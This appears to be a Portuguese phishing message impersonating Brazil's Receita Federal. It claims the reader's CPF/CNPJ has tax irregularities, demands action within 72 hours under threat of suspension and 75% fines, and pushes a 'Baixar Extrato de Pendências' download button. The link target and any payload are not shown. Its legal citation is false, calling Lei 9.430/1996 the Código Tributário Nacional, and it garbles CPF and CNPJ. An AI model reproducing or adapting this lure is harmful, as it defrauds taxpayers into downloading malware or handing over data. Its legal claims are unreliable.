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Ministério da Fazenda

Secretaria Especial da Receita Federal do Brasil

Assunto: Notificação de Inconformidade Fiscal e Ausência de Declaração Regularizada

Aviso importante sobre a regularidade do seu CPF/CNPJ.

Constatamos divergências fiscais na verificação anual de sua inscrição junto ao Cadastro de Pessoas Físicas (CPF/CNPJ). Tais irregularidades foram registradas formalmente em conformidade com o Artigo 44 da Lei nº 9.430/1996 (Código Tributário Nacional), referente à omissão ou incorreção de informações prestadas no último exercício fiscal.
🏢 Receita Federal

É obrigatório o envio da documentação retificadora ou a contestação das pendências apontadas no prazo improrrogável de 72 horas a contar do recebimento desta notificação eletrônica.

⚠️ Sob pena de suspensão imediata do CPF/CNPJ e aplicação de multas de até 75%.

📊 Para visualizar o extrato completo e evitar as sanções administrativas:

📄 Baixar Extrato de Pendências

🔒 Conexão segura SSL de criptografia federal ponta a ponta.